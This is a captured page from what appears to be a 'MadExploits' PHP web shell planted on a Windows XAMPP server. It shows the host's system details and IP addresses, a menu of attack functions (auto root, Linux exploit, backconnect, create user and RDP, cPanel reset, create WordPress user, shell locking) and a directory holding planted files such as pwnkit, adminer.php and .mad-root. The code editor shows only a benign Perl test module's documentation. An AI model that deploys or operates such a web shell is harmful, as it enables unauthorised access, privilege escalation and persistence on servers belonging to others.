Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.182
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
lib /
Test /
use /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
ok.pm
1.33
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ok.pm
package Test::use::ok; use 5.005; our $VERSION = '1.302183'; __END__ =head1 NAME Test::use::ok - Alternative to Test::More::use_ok =head1 SYNOPSIS use ok 'Some::Module'; =head1 DESCRIPTION According to the B<Test::More> documentation, it is recommended to run C<use_ok()> inside a C<BEGIN> block, so functions are exported at compile-time and prototypes are properly honored. That is, instead of writing this: use_ok( 'Some::Module' ); use_ok( 'Other::Module' ); One should write this: BEGIN { use_ok( 'Some::Module' ); } BEGIN { use_ok( 'Other::Module' ); } However, people often either forget to add C<BEGIN>, or mistakenly group C<use_ok> with other tests in a single C<BEGIN> block, which can create subtle differences in execution order. With this module, simply change all C<use_ok> in test scripts to C<use ok>, and they will be executed at C<BEGIN> time. The explicit space after C<use> makes it clear that this is a single compile-time action. =head1 SEE ALSO L<Test::More> =head1 MAINTAINER =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =encoding utf8 =head1 CC0 1.0 Universal To the extent possible under law, 唐鳳 has waived all copyright and related or neighboring rights to L<Test-use-ok>. This work is published from Taiwan. L<http://creativecommons.org/publicdomain/zero/1.0> =cut
Close